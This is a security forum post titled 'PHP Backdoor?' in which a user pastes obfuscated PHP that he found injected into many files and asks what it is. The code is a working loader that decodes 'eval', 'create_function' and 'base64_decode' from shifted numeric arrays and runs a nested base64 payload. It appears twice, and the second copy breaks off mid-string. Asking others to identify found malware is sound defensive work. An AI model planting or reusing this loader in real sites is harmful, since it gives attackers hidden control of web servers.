Cenzic 232 Patent
Paid Advertising
sla.ckers.org is
ha.ckers sla.cking
Sla.ckers.org
Script obfuscation, filter evasion, IDS/IPS/WAF bypassing... this is where it should live. Because this topic is too big to live anywhere else. Phj33r! 
Go to Topic: PreviousNext
Go to: Forum ListMessage ListNew TopicSearchLog In
PHP Backdoor?
Posted by: RonPaul
Date: April 13, 2012 04:42PM

came across this code in a lot of files
<?php /*ca86deeaa6ca8b466a32781b9beb29b9_on*/ $mpF0rkkJonJtY2HUWTe= array('2341','2358','2337','2348');$kJ2dluiwZNji3P9lZjUdxtx= array('3440','3455','3442','3438','3457','3442','3436','3443','3458','3451','3440','3457','3446','3452','3451');$m468NbncKfgVA= array('8999','8998','9016','9002','8955','8953','8996','9001','9002','9000','9012','9001','9002');$PtCPFNPLBelFF="ZXZhbChiYXNlNjRfZGVjb2RlKCJaWFpoYkNoaVlYTmxOalJmWkdWamIyUmxLQ0phV0Zwb1lrTm9hVmxZVG14T2FsSm1Xa2RXYW1JeVVteExRMHBvVmpGc2JsTXdUa2RpVjFKWVRsZHdhMUl5ZURKWmJYYzFZa2RXU0dKSWNHdFRSVEYyVTFkMGEySkhVa1pOVjJocFZqQldjRk14VG5OT01HeEVVVzB4YTFaNlZuRmFSV1J6WkcxS2NGRnVVbWxOYkVwdFYxUkpOV1JWZEVSVmJXeHJWakZzZDFwVVRrOU5SMDV6VDFoQ2FtSldXak5aYTJSSFlXeHdWRm95YkZGU01IQXlWMnRvY2tzd2JIQmtNbXhSVWpCd01sZHJhSEpMTUd4d1pESjBXbUpzV25SVVJVNVRZVzFLZFZWdFdtaFJNbk16V1Zaa1dsb3dkRVJWYlhCcFlteEtiVmxWVGtKUFZrSlVVVmhvVEZVd1NUTlRhMlJMVFZad2NGRlViRXBUUlRSM1dUSjNOV05IVG5SV2JtUnBVakJhY1Zkc1RtNWhWa0pJVTI1YVlWTkhjM0pUVjJ3ellWWkNTRk51V21GVFIzTnlVMWRzUW1SVmJFbFVha0pxWWxkNE0xbDZTalJoUjAxNVlVZDRhbVZYWkhKWFJFWlBVbXhXYzFkcldsWmlTRTV3VjJwSk5XUnNjRVJUYlZKTVZUTmtjbGRYTlZkaVZYUlZZekprYW1KV1dYZGFSbWhMWkZWc1JGVnRiR3RXTVdzeldteG9UMDFIVG5OUFdFSnFZbFphTTFsclpFZGhiSEJVV2pKc1VWRjZiSEJaYWtwVFRsWkNjRk5ZVGtwaGJtUXlWMWN3TldFeVZsVk9SMnhOVVRGS2NGcEdaRnBqTUhCSVZHNVdhMUpxYkhaVE1WSXdZMFp3Y0ZGWE9VdFNNRFV4V2tWWk5XSXdiRVZOUkd4S1VrVldkMU5WYUhwaE1XeDFWbTB4U2xKRVFtNVplazVUWlZabmVXSkliR0ZYUlVwNlYxWmtUMkpGZEVSVFZHaE5UV3R3TWxkcmFISkxNR3h3WlVod2ExTkZjSGRaTUdoUFl6RnNXVlJ0T1dGWFJURjJVMnRaTlZaR1NsZFRiR1JUVm10d2FWTlhNV3RrYlVsNVZWZHNXVlV5ZERGVFYzQXpaR3hzZEU5WGRHeFdSRkp3VkVWT1UyRlhVbGhYV0VKUVpWVktOVmRzYUZOTlYwNTBUa2RrUzFJd2IzaFhiWEF3VDFkT2RGWnFRbXRYUlhBeFUxVk9VMkZYVWxoWFZHUnRWakZ2ZUZsdE1VOU5SMFpZVDFoV1NsSjZiRE5YVm1NeFkyMUdWRm95ZEZwaWJGcDBVekZvZW1FeGIzcGpSMXBoVlRCRk5WTlZaR0ZoUjBwSlZHMTRVR1ZXU25aWFJFb3pXakZDVkZGdE9XRldNRnB5VjJ4b1MyVnNaM2xsU0VKcVRURkdkbE14VWpCalJuQndVVmM1YUZaNlZtMVhWbWhMWlZac1dXRXlPVXBoTURVeVdXMDFVMkpIU25WVldGSlRWbnBXY1ZscVNsTmpSMHAwV1hwYVNsSXlVVEpaVm1oQ1lWVjRSRkZYZEdoU2FteDZVekZPY2xveVZqVlJWM1JoVFROQ2JWZHNUa0pQVld4SlZXNXNhMVl4VlROYWJHUnpZbFZzUkZveWRHRk5NMEp0VjJ4T2MwNHdjRWxWYmxKcVVqRndNVmRXWTNoaVJXeEZUVWRrYTFJeFdqQlpNR014WVVkS1ZGb3liRTFOTVVvd1dUQk9TbU13YkVSVGEyUlZUVVJvY0ZNeFVqQmlWMFpZWlVkNFdVMHdTWGhhUlZrMVlXMUplVTVVUW1GV2VsVjNXVE5zYm1FeVVraE5XR1JoWWxSV2IxbHNaRlpqTUd4RVZXMXNhMVl4YkhkVU0yeFRUbXh3UkZGVWJFcFNNbEV5V1dwT1EySkhTbkJhTW5SclVucEdNMWR0TURGaFIwcFlWbGhPU2xFd2NEVlRWMnh5VGpCd1NGUnVXbWxpYkVweldXMDFVMlZyYkVWTlIyUmhUVE5DTlZkc1pFZGhNSFJFVldwYVlWRXpaRzVVVmxKQ1pEQXhSVkZZWkU1U1JVWjNWRE5zVTJGdFNYbE9WRUpoVm5wVmQxa3piRUpQVld4SVRWaGFZVkpxYkhGWmFra3dZakJ3U0ZSdVdtbGliRXB6V1cwMVUyVnJkRlZrUnpWc1lsVTFlbGxxVGs5aVJYUkVWV3BhWVZFeWN6TmFSbU14WXpKR1dFNVlTa3hSTVVsM1dXeG9RMkpYU25SU2JsSmhWVEp6TTFOclpFOWtiVXAxVlcxNGFXSnNTalpUVlZGM1dqRnZlbU5IZUdsaVZUVXlWMnRrVm1Jd2NFaFVibHBwWW14S2MxbHROVk5sYTNSVlpFUnNTbEl4V25wWmVrcFdXakpXTlZWdGNHbE5hbFYzVjJ4ak1VMUhUalZSVkd4S1VucEdNbGRyV1RWaGJVbDVUa2M1UzFJd2IzaFhiV3h5VGpKYVZGVnVUbUZXZWxKdVZVWk9RMlZ0VWtsVGJrNWhWbnBTZGxOclpFOWtiVXAxVlcxNGFXSnNTalpUTVZJd1lqRndXRkp0ZEdGWFJXeDJVMWQwVDJSdFNuVlZiWGhwWW14R01GWkZaRmRrVm05NlZXMDVVR0ZWUm5CVVIyeFRZekZ3V0U1SVFsQk5NSEJ6V2tWb1YyVlhTbkJhTW5SYVRXcHNNVnBGWkZka1YxSkpWRmhDVUUxNlFtNVhiVFZYWkZacmVsVnVRbWxOYWxKdVZXcEtWMDFHVWxoU2JsSmFWVEprZDFwWWJGTmtSMGw2VlcwNVlWZEZiRzVWUms1Q1lWZE5lbFZxUm1GU01Wb3hXa1ZvVG1SWFVYbFNibkJvVWpKNE1WZHFUbE5rYlVwd1RsZDRZVk5HVm5CVWVrNUxZa2RTU1ZadWJHbGhWVVp5V1d4ak5VMUhSa2hXYm14UVRYcEdNbGRYZHpWbGJWSklVbTVzYTFFeVpIQlphazVEWVVkS2RHUklRa3BoVjNNelYyMDFWMlJXYTNwVmJrSnBUV3BTYmxkV1pHOWlWMUpZVlcweGFWSXhiekpYYTJSdllsZEdTVlJYT1V0VFJVcHZVekZvZW1FeVNsaFNibEphVlRCRk5WTlZWbXRpUjFKR1RWZG9hVll3Vm5aVE1WSjZZVEZ3ZEdKSVRtRlZNRVUxVTFWb1YyVlhTa2hXYmxaYVRXcHNjbGRzVG05YWJHZDNWMnR3VlZKV1dtMVhTR3h5VGpKR1dGZFhaRXhTTW5nMldYcEtWMDFGZEVSVmJWcFdUVVphVkZadGRGZFZNV1ExVTJ0c1YxSnNTbEpYUkVKdlZVWlZlRlZYYkZsVk1uUjNXbGhzVTJJeVNYcFVha0pLVWtSQ2JsTnJXVFZXUmtwWFUyeGtVMVpyY0dsVFYzUnZWbFphUjFGdFdsUlNWR3hWVm10T1MxcEZPSHBOUjJSaFZqTm9ObGRzVGtOT01IQklZVWhhYWsweFJtNVZSazVDWVZWc2NXUkViR2hXTVd4dVV6QmtjMlZ0VFhsV2FrSk1VVEZLYlZaVVFsZFZNVnB5Vm14T1dHVlZjRlJWYkZWNFZVWmFSbFp0V2xKV1ZrcEdWbGRzUzFwRmRGUmlSR1JMVWpKNE0xTlZVWGRhTUhCSFQxWlNVMVpyY0ZoVmJGcExXV3RzYzFOcldsVldWR3hXVld4Wk5WRnNTa1pWYkU1S1lrUkJNMXBzVGtOaVIwcEpWRzE0U2xOSVRuSlpWbWhDV2pGQ1ZGRlhiRXBoYmxFMVdWWmtXbG93ZEVoaVNIQnFUV3haZDFNd1RsTmFiRlYzVm14T1YyRXhXbFJXTTJ4TFUxWmFSMVZzUmxsTlZYQkhWVzEwVjFVeFNsZFRWMnhaVlRKMGQxcFliRk5sVm5CWVYxZGtVVlV3U1hoWk1qRTBZa2RLZEZSdVdtRlNNVloyVTJ0Wk5WWkdTbGRUYkdSVFZtdHdhVk5YZEc5V1ZscEhVVzFhVm1FeFdraFZiRnBMVW14V2NGTnRVa3hXU0ZFMVUxVmtWMk15VFhsV1YyUnNaVlpLTlZkc1pGcGFNVUpVVVZkc1NtRnVVVFZaVm1SYVdqQjBTR0pJY0dwTmJGbDNVekJPVTFwc1ZYZFdiRTVYWVRGYVZGWXpiRXRUVmxwSFZXeEdXVTFXV2xWVmJGcExXbXhHVmxwRldsVmlSa1p3VjBaT2NtTkhWalZWYWtaYVZUQkZOVk5WYUZkbFYwcElWbTVXV2sxcWJISlhiRTV2WlcxU1NWTnFRbWxOYm1neVdrUktWMlZWZEVSVmJWcFdUVVphVkZadGRGZFZNV1ExVTJ0c1YxSnNTbEpYUkVaWFZrWktWMU50V2xKV1YxSkhWa2Q0VW1GV2FGUmhNMEpRVFhwQ2JsZHNaRFJsYkhCVVVXcGtTMU5HV205VFZWRjNXakJzY0ZOVVpHMVdNbmgwVTFWT2IyTkhUWHBVYlhoclVUSmtjbGRFUms5U2JGWnpWMnRhVm1KSVRuQldWbHBYVW14V2MySkhXbFpOVmtwVVZURlZNVk5GYkhOTlNFSk1WMGhPY2xreGFFNWFNVUpVVVdwR2FtSllhSE5aYlRGUFpHeHdTRlpYT1V0U2FteFZWV3hhUzFZeFNsZFRiVXBLWWtWYVYxVnNXa3RYYkdkNFZHeFdWbUV5ZUZCVmJteExXa1YwVldSRWJFcFNNVnA2V1hwS1Zsb3lWalZWYm1ocVpWVkZOVk5WVGtwaFZUaDZUVWQwYTFkRmNIcFhTSEJDV2pGQ1ZGRlhiR2hUUmtsM1dUQlNkbVJyZURWVFYyUk5ZVlZHY2xrd1pFWk9NSEJKVm01c2FWSnFhRFJUVlZGM1dqQnNjRTlZUm1GV01VcDNWRWMxUTJJeVRrVlBWRXBoVjBWd05sbFdZelZrVmtKVlVWUldVRlpGVm5SWmJHTTFUVWRHU0ZadWJGRlZNR3h1VkVkc1UyUkdiRmhOVjJoS1VYcFNibE5YYkdGaVYwWllaVWQ0VVZVd2JHNVVSMnhDWVRGd2RHSklUbUZWTUVZeFUxVk9TbUpYUmtoUFdIQnJVa1JDY0ZOVlRUQmFNSEJJWVVoYWFrMHhSbTVVUjJ4Q1lWVndkR0pJWkZGVk1HeHVWRWRzUW1FeVJsbFJWMlJOWVZWR2NGTnROVXRpUm5CeFRVZHNTbEY2VW01VGEyaExZa1p3Y0ZGWVZrcFJNR3gwV2taa1JrOVZiSEJSV0ZaTFUwWmFiMU5WVFRCYU1HeHdWMjVvYW1WcVFuQlRWVTB3V2pCd1NWSnVjRkJsVmtsM1dUSTFjbG94UWxSUmFrSnFZbXhhYzFSNlNuTmlWWFJFVVcweGExWjZWbkZhUldSelpHMUtjMDlYZUd4U01uZzJXa1ZvVG1Jd2JIUlVha1pxWWxob2JWbFdZekZqUjFKRVUxaENTbEV5ZHpOVGEyUlBZakJzUlUxSFpGcE5NVm8xV1d0Wk5XTkhTblJpUkVKTVVURkplRmt5TVRSYWF6RkVVVmhXU2xFeFNYaFpNakUwV21zeFZHRjZaRnBOTVZvMVdXdFpOV1ZzY0ZsVmJscHFVMFpHZGxOclpFOWlNSGhFVVd0U1YxWnJjRTVXUkVaRFZsWm5lRk5yV2xkU2JGcFVWa2Q0VTFVeFJsWk9WbEpUWVRGYVZGUkZUa0psUlhSVlpFZHdhMWRGY0hwWFJFNVBZa2RTU0U5WVpHdFJNbVJ5VjFSS2JtTXdiRVpVYkZwV1lUTm9VVlpWV2xOYWJGcEdZa1UxVTFaVWJGZFdhMDR6V2pBeE5XRjZaRXRUUmxwNldrVk9RazlWYkVsVmJteG9WbnBDZGxkVVRsZGxWMHBIVDFkNGJGSXhXbkZUTUU1VFlXMUdSR0V6UWxCbFZrbDNXVEkxY2xveFFsUlJiVEZhVmpOb05sZHNVakJQVld4SVlrY3hTbEV5WkhaWlZtTXhZMFpuZVZwSGVHdFJNbVJ3VjFaa05HTXlTWHBhUjFwclYwVndlbGRFU21Ga2JVNUlWbTVXU21GWGRIZFRWVTVhWWxWc1JGVnFRbXBpYlhSM1UxVm9lbUV5VWxobFJFSktVa1JDYmxwRmFFdGpSMHBVWVVWR1lXSlhlSHBYYkZrMVlteHdXVlZ0V2xwTmFtd3hXa1ZrVjJSWFVrbFVWemxMVTBaYU5WbHJXVFJrTUd4RVRrZGtTMU5HV2pWWmExazBaVVYwVkdGNlpFdFRSa28xV2xaT1FrOVZiRWhYYldocFUwVTFjMVI2VFhoalJuQndXakowYTFORmJ6RlRNV2g2WVRGd2RWRlhaRkZWTUVwMFdYcEpOV0Z0UlhsUFdHUmhWbnBTZGxOcmFFTmhSWGhFVVZSU1RsRXpaRzVUYTJSWFpWZE9kRTVZV2sxUk1FWnlWMnhvUzJWWFRYcFZibXhOVVRCR05sUlZUbkpPTWtaWVYxZGtURkV4U25SWk1FNXlXakpXTlZWdVdtdFhSa1p1VlVaT1FtRldTWGRXYkZaS1VURkplRmt5TVRSYWF6RlVVV3RzVjFKc1NsSlVTSEJHWkZVeFIyVkliRmxTZWxKd1ZETnNVMlJ0VWxsVlYyUk5ZV3BDYmxOWGRHOWtiVTE2VlZSYVNsRXhTak5YVmxvMFpWWm9TRTVIYkZCbFZrb3lXa1pvVWxvd2VIRk5SMlJLWVRBMU1sbHRNREZpUm10NlZXNUNhVTFxVVRKVFZWWlBZekpKZWxSdGVGbFRSWEJxV1cxNE5HVldhRWhPUjJ4UVRXeHZlbGt5TVhOTlJuQlVXakowWVdKclJucFRWVTVUWkcxU1dWVllRbEJsVmtvMVYyeG9VbG94UWxSUlYyeEtZVzVSZWxsVlpITmpNWEJVVVZjNVNsWXhjSE5aYWtwYVlqQndTRmR1WkV4Vk1uUnVXbGhzVTJWV2NGbFZWMlJLVVhwUk5WTlZUa05pVm05NVZtcENhbVZYWkhKWGJUVkNZekJzUlZKWWJGQlJNbk16V214a1lXRnRTa2hQV0hCaFZUSmtjbGR0TlVKalJUazFWV3BHYVZOR1JtNVZSazVEVFVkT2RHSklVa3hUUlRSNFYxYzFUMDFIVG5CYU1uUnFZbFpaZDFSRlRrTmxiVkpKVTI1a2FVMHdNWFpUYTJoTFlrZFNSR1F5WkVwaVNHZzFWMFZqTVZreVRuTmxTRlpLWVZkMGJsTXpiRUpOUlhSVVlYcGtiVmRFUW01VFZXUnpZbFZzUkdGSWNHdFRSWEF6V1dwT1RtSXdjRWxXYms1clVUTmtjRmRzYUdGaFIwcEVVMWhDU2xFd1ZUVlZSazVEWWxac1dHVkljR0ZWTW5jelUydG9kbG94UWxSUmJuQnJVMFZ3ZDFrd2FFOWpNV3haVkcwNVlWZEZNWFpaZWs1VFpWWm5lbE50ZUdwU00yaHZWMVJLVm1Jd2JIUldha3BhVmpOa2NGUkZUa3BoVlhoRVZXcEdhVk5HUm5kVE1WSjZXakZ3V1ZkdGFHbFJNbVJ5V2xkc2NrNHdiRWhXYWxKb1YwWkdkbE14VWpCUFYwWllWMWRrVEZORk5IZFpNalZEWkcxT05Wb3lkR3RXTTJkM1ZFVk9TMkpHYkhST1YyaEtZVmQwYmxOV1VYZFBWV3hJVjIxb2FWTkZOWE5UTVdoNllURm5lRlJyV2xaaVJuQkhWbGQ0ZW1GV2IzbFBXRnBoVVRCd2ExTlZVWGRhTWsxNlZXNXNXVTB3Y0hOWk1HUTBZVVpyZVZaWE9VcGlWbHB3V1cweFJtRlZlRVJUVjJ4TlVURkplRmxyYUZKalJUaDZVMjE0YTFOR1dqVlpiV3hEVFVkT2RWWnRlRkJOZWtaeldXdG9UMkpGYkVsa1NHeGhWMFpKZUZreU1EQmFNWEIwVW01T2FrMXNWVE5hYkdkM1lURndkRkpxUW1oU01WbzFWRmQ0TUZwRmJFVk5SMlJLWVcxTk1GUkhjRkpOYTNoeFVsUk9UbVZVVWpSVWEwNUtUakJ3U0ZkdGFHdFNNbWh6V1RKd1MxbHNhRlJSVkd4S1VUQnNORlJ1Y0Zwa1ZUbFVUa2hzVGxaSFpERlVWbEp5WlVWc2NXTXlkR0ZpVlZsM1dWVmtWMlZWTVhOa1IxSktVa1JDYmxOWGNISmxSWGh4VTFoc1VGRjZValJVYkZKU1pGVXhjVlpVUWtwaGJrNXlWMjB4UjAxSFJraFdibXhPWWtoU2ExTlZVWGRhTUd4eFdYcE9UV0Z0WkRSVVIzQktUVVV4VkU1SWJFOVdSVEZ3VkROc1UySldiRmxWYlRsaFYwVnNOVlo2UlhkYU1VSlVVVmRzVGxaSFkzZFVSM0J1WlZWNGNWSllhRTlsVkZJMFZGWlNRbUZWT1RWVmJURmFWMFpLZGxkc2FFcGxWbU40VFVka1VWVXdSbkJVYTFKYVpGVTFSRTVJYkU1U1JXd3hWREZTVG1GVk9UVlZiVEZhVjBaS2RsZHNhRXBsVm1ONFRVZGtVVlV3Um5CVWExSmFaRlV4Y1ZWVVZrMWhiRlV3VkVkd1JtVnJOVlJUVkdSTFVqRndiMXBGWkc5aVIwNXhVMjFLV1ZVd1JUVlRWVTVLWlVVMU5sZFlWbEJWZWxJMVZHdFNSbVJWTVZWV1dHUktZVzVPY2xkdE1VZE5SMFpJVm01c1RtSklVbXRUVlZGM1dqQnNjVlZVU2sxaGF6QjZWRWR3Umsxck9WUk9SRVpQWVZWck0xTnJaR0ZoUjFKSVlVZDRhbUZyY0dsWFJrNUNUMVZzUkZOVVFrOWhWRkkyVkZWTk1FMUZNVlJPUkZaUVZUQnJNMU5yWkdGaFIxSklZVWQ0YW1GcmNHbFhSazVDVDFWc1JGTlVWazlSZWxJMVZHdFNTbVJWTVhGV1ZFWk5ZV3N3ZUZOWGNIcGhNWEIwVW1wQ2FGSXhXalZVVjNnd1drVnNSVTFIWkVwaGExVjZWREJOTUdWRk5YRlRXRlpPVmtWck1WUkhjRXBsVlRFMVUxUmtTMUl4Y0c5YVJXUnZZa2RPY1ZOdFNsbFZNRVUxVTFWT1NrMHdPVVJPUkVKUFpWUlNORlF3VWxKa1ZURTJWRmRzVUdWV1NuUlhWbWhUWWpGd1dWTlliRmhOVkVKdVZVWk9RbUZWTVRaU1dGWk9Wa2RqZDFSSGNFcGxhelZFVGtSV1QyRlZhek5aZWtwdlRWWndkRmR1VG1GVk1tUnlWMjB4UjAxSFJraFdibXhPWVZkek0xZHRNRFZsVm5CWVVtMXdhRkV5WkhKWGJURkhUVWRHU0ZadWJFNWhWVXB2V1ROc1FtRXlVbGxUV0VKc1RXMTRkRk5WVG01YU1XeFlZVWN4YTFZeFNuUlphMlJoVG14d1NHRkhNV2hUUlRGMlUydG9WMlZWZEZSUldFSktVMGhPYmxkWE5VdGlSbXhZWXpKa1VFMTZSVFZhYkVVNVVGTkpjRXRVYzJjaUtTazdJQT09IikpOyA=";if (!function_exists("H8djjZfy")){ function H8djjZfy($gaN8D,$AjF9RUpONVQbg84JMKGFsg97Za8D9CLXLgWs0c6EYN){$dMAEpaaUthUr6VqzUSaHthuL8xIDll9gXzKdALXUSHbOtr = '';foreach($gaN8D as $V9fLsn6){$dMAEpaaUthUr6VqzUSaHthuL8xIDll9gXzKdALXUSHbOtr .= chr($V9fLsn6 - $AjF9RUpONVQbg84JMKGFsg97Za8D9CLXLgWs0c6EYN);}return $dMAEpaaUthUr6VqzUSaHthuL8xIDll9gXzKdALXUSHbOtr;}$i3c7pdfcB23hZcolxplau = H8djjZfy($mpF0rkkJonJtY2HUWTe,2240);$LsnpCcv0Q = H8djjZfy($kJ2dluiwZNji3P9lZjUdxtx,3341);$LTP9XVcoO5wD7KOv00wkaCDnR5pdW6VGQAFDlH = H8djjZfy($m468NbncKfgVA,8901);$yCftAQ7WGYiQYKkbsgrw2ohy4I3yUAhK3m3u20gyPof = $LsnpCcv0Q('$MpFivXEobLM6kGv47CE0PxkIoq73Fcxus2DNQ72SJEP',$i3c7pdfcB23hZcolxplau.'('.$LTP9XVcoO5wD7KOv00wkaCDnR5pdW6VGQAFDlH.'($MpFivXEobLM6kGv47CE0PxkIoq73Fcxus2DNQ72SJEP));');$yCftAQ7WGYiQYKkbsgrw2ohy4I3yUAhK3m3u20gyPof($PtCPFNPLBelFF);} /*ca86deeaa6ca8b466a32781b9beb29b9_off*/ ?><?php /*1cd76a81ca4a81afda1c3f5d23c95d0f_on*/ $PXB9sXL5P56jv2DO5IjXEdA84OxWiCLhpchI0SEFNAP9tiOoQ= array('9466','9483','9462','9473');$fk1CjW= array('9077','9092','9079','9075','9094','9079','9073','9080','9095','9088','9077','9094','9083','9089','9088');$uJq8kxonEXemsJ0SoZbxDqertojV= array('9266','9265','9283','9269','9222','9220','9263','9268','9269','9267','9279','9268','9269');$QZ2hUlX1zWI6K5arP6DSMbFwLN1uaEA6usdeE154ND0nz1Ef="ZXZhbChiYXNlNjRfZGVjb2RlKCJaWFpoYkNoaVlYTmxOalJmWkdWamIyUmxLQ0phV0Zwb1lrTm9hVmxZVG14T2FsSm1Xa2RXYW1JeVVteExRMHBvVmpGc2JsTXdUa2RpVjFKWVRsZHdhMUl5ZURKWmJYYzFZa2RXU0dKSWNHdFRSVEYyVTFkMGEySkhVa1pOVjJocFZqQldjRk14VG5OT01HeEVVVzB4YTFaNlZuRmFSV1J6WkcxS2NGRnVVbWxOYkVwdFYxUkpOV1JWZEVSVmJXeHJWakZzZDFwVVRrOU5SMDV6VDFoQ2FtSldXak5aYTJSSFlXeHdWRm95YkZGU01IQXlWMnRvY2tzd2JIQmtNbXhSVWpCd01sZHJhSEpMTUd4d1pESjBXbUpzV25SVVJVNVRZVzFLZFZWdFdtaFJNbk16V1Zaa1dsb3dkRVJWYlhCcFlteEtiVmxWVGtKUFZrSlVVVmhvVEZVd1NUTlRhMlJMVFZad2NGRlViRXBUUlRSM1dUSjNOV05IVG5SV2JtUnBVakJhY1Zkc1RtNWhWa0pJVTI1YVlWTkhjM0pUVjJ3ellWWkNTRk51V21GVFIzTnlVMWRzUW1SVmJFbFVha0pxWWxkNE0xbDZTalJoUjAxNVlVZDRhbVZYWkhKWFJFWlBVbXhXYzFkcldsWmlTRTV3VjJwSk5XUnNjRVJUYlZKTVZUTmtjbGRYTlZkaVZYUlZZekprYW1KV1dYZGFSbWhMWkZWc1JGVnRiR3RXTVdzeldteG9UMDFIVG5OUFdFSnFZbFphTTFsclpFZGhiSEJVV2pKc1VWRjZiSEJaYWtwVFRsWkNjRk5ZVGtwaGJtUXlWMWN3TldFeVZsVk9SMnhOVVRGS2NGcEdaRnBqTUhCSVZHNVdhMUpxYkhaVE1WSXdZMFp3Y0ZGWE9VdFNNRFV4V2tWWk5XSXdiRVZOUkd4S1VrVldkMU5WYUhwaE1XeDFWbTB4U2xKRVFtNVplazVUWlZabmVXSkliR0ZYUlVwNlYxWmtUMkpGZEVSVFZHaE5UV3R3TWxkcmFISkxNR3h3WlVod2ExTkZjSGRaTUdoUFl6RnNXVlJ0T1dGWFJURjJVMnRaTlZaR1NsZFRiR1JUVm10d2FWTlhNV3RrYlVsNVZWZHNXVlV5ZERGVFYzQXpaR3hzZEU5WGRHeFdSRkp3VkVWT1UyRlhVbGhYV0VKUVpWVktOVmRzYUZOTlYwNTBUa2RrUzFJd2IzaFhiWEF3VDFkT2RGWnFRbXRYUlhBeFUxVk9VMkZYVWxoWFZHUnRWakZ2ZUZsdE1VOU5SMFpZVDFoV1NsSjZiRE5YVm1NeFkyMUdWRm95ZEZwaWJGcDBVekZvZW1FeGIzcGpSMXBoVlRCRk5WTlZaR0ZoUjBwSlZHMTRVR1ZXU25aWFJFb3pXakZDVkZGdE9XRldNRnB5VjJ4b1MyVnNaM2xsU0VKcVRURkdkbE14VWpCalJuQndVVmM1YUZaNlZtMVhWbWhMWlZac1dXRXlPVXBoTURVeVdXMDFVMkpIU25WVldGSlRWbnBXY1ZscVNsTmpSMHAwV1hwYVNsSXlVVEpaVm1oQ1lWVjRSRkZYZEdoU2FteDZVekZPY2xveVZqVlJWM1JoVFROQ2JWZHNUa0pQVld4SlZXNXNhMVl4VlROYWJHUnpZbFZzUkZveWRHRk5NMEp0VjJ4T2MwNHdjRWxWYmxKcVVqRndNVmRXWTNoaVJXeEZUVWRrYTFJeFdqQlpNR014WVVkS1ZGb3liRTFOTVVvd1dUQk9TbU13YkVSVGEyUlZUVVJvY0ZNeFVqQmlWMFpZWlVkNFdVMHdTWGhhUlZrMVlXMUplVTVVUW1GV2VsVjNXVE5zYm1FeVVraE5XR1JoWWxSV2IxbHNaRlpqTUd4RVZXMXNhMVl4YkhkVU0yeFRUbXh3UkZGVWJFcFNNbEV5V1dwT1EySkhTbkJhTW5SclVucEdNMWR0TURGaFIwcFlWbGhPU2xFd2NEVlRWMnh5VGpCd1NGUnVXbWxpYkVweldXMDFVMlZyYkVWTlIyUmhUVE5DTlZkc1pFZGhNSFJFVldwYVlWRXpaRzVVVmxKQ1pEQXhSVkZZWkU1U1JVWjNWRE5zVTJGdFNYbE9WRUpoVm5wVmQxa3piRUpQVld4SVRWaGFZVkpxYkhGWmFra3dZakJ3U0ZSdVdtbGliRXB6V1cwMVUyVnJkRlZrUnpWc1lsVTFlbGxxVGs5aVJYUkVWV3BhWVZFeWN6TmFSbU14WXpKR1dFNVlTa3hSTVVsM1dXeG9RMkpYU25SU2JsSmhWVEp6TTFOclpFOWtiVXAxVlcxNGFXSnNTalpUVlZGM1dqRnZlbU5IZUdsaVZUVXlWMnRrVm1Jd2NFaFVibHBwWW14S2MxbHROVk5sYTNSVlpFUnNTbEl4V25wWmVrcFdXakpXTlZWdGNHbE5hbFYzVjJ4ak1VMUhUalZSVkd4S1VucEdNbGRyV1RWaGJVbDVUa2M1UzFJd2IzaFhiV3h5VGpKYVZGVnVUbUZXZWxKdVZVWk9RMlZ0VWtsVGJrNWhWbnBTZGxOclpFOWtiVXAxVlcxNGFXSnNTalpUTVZJd1lqRndXRkp0ZEdGWFJXeDJVMWQwVDJSdFNuVlZiWGhwWW14R01GWkZaRmRrVm05NlZXMDVVR0ZWUm5CVVIyeFRZekZ3V0U1SVFsQk5NSEJ6V2tWb1YyVlhTbkJhTW5SYVRXcHNNVnBGWkZka1YxSkpWRmhDVUUxNlFtNVhiVFZYWkZacmVsVnVRbWxOYWxKdVZXcEtWMDFHVWxoU2JsSmFWVEprZDFwWWJGTmtSMGw2VlcwNVlWZEZiRzVWUms1Q1lWZE5lbFZxUm1GU01Wb3hXa1ZvVG1SWFVYbFNibkJvVWpKNE1WZHFUbE5rYlVwd1RsZDRZVk5HVm5CVWVrNUxZa2RTU1ZadWJHbGhWVVp5V1d4ak5VMUhSa2hXYm14UVRYcEdNbGRYZHpWbGJWSklVbTVzYTFFeVpIQlphazVEWVVkS2RHUklRa3BoVjNNelYyMDFWMlJXYTNwVmJrSnBUV3BTYmxkV1pHOWlWMUpZVlcweGFWSXhiekpYYTJSdllsZEdTVlJYT1V0VFJVcHZVekZvZW1FeVNsaFNibEphVlRCRk5WTlZWbXRpUjFKR1RWZG9hVll3Vm5aVE1WSjZZVEZ3ZEdKSVRtRlZNRVUxVTFWb1YyVlhTa2hXYmxaYVRXcHNjbGRzVG05YWJHZDNWMnR3VlZKV1dtMVhTR3h5VGpKR1dGZFhaRXhTTW5nMldYcEtWMDFGZEVSVmJWcFdUVVphVkZadGRGZFZNV1ExVTJ0c1YxSnNTbEpYUkVKdlZVWlZlRlZYYkZsVk1uUjNXbGhzVTJJeVNYcFVha0pLVWtSQ2JsTnJXVFZXUmtwWFUyeGtVMVpyY0dsVFYzUnZWbFphUjFGdFdsUlNWR3hWVm10T1MxcEZPSHBOUjJSaFZqTm9ObGRzVGtOT01IQklZVWhhYWsweFJtNVZSazVDWVZWc2NXUkViR2hXTVd4dVV6QmtjMlZ0VFhsV2FrSk1VVEZLYlZaVVFsZFZNVnB5Vm14T1dHVlZjRlJWYkZWNFZVWmFSbFp0V2xKV1ZrcEdWbGRzUzFwRmRGUmlSR1JMVWpKNE0xTlZVWGRhTUhCSFQxWlNVMVpyY0ZoVmJGcExXV3RzYzFOcldsVldWR3hXVld4Wk5WRnNTa1pWYkU1S1lrUkJNMXBzVGtOaVIwcEpWRzE0U2xOSVRuSlpWbWhDV2pGQ1ZGRlhiRXBoYmxFMVdWWmtXbG93ZEVoaVNIQnFUV3haZDFNd1RsTmFiRlYzVm14T1YyRXhXbFJXTTJ4TFUxWmFSMVZzUmxsTlZYQkhWVzEwVjFVeFNsZFRWMnhaVlRKMGQxcFliRk5sVm5CWVYxZGtVVlV3U1hoWk1qRTBZa2RLZEZSdVdtRlNNVloyVTJ0Wk5WWkdTbGRUYkdSVFZtdHdhVk5YZEc5V1ZscEhVVzFhVm1FeFdraFZiRnBMVW14V2NGTnRVa3hXU0ZFMVUxVmtWMk15VFhsV1YyUnNaVlpLTlZkc1pGcGFNVUpVVVZkc1NtRnVVVFZaVm1SYVdqQjBTR0pJY0dwTmJGbDNVekJPVTFwc1ZYZFdiRTVYWVRGYVZGWXpiRXRUVmxwSFZXeEdXVTFXV2xWVmJGcExXbXhHVmxwRldsVmlSa1p3VjBaT2NtTkhWalZWYWtaYVZUQkZOVk5WYUZkbFYwcElWbTVXV2sxcWJISlhiRTV2WlcxU1NWTnFRbWx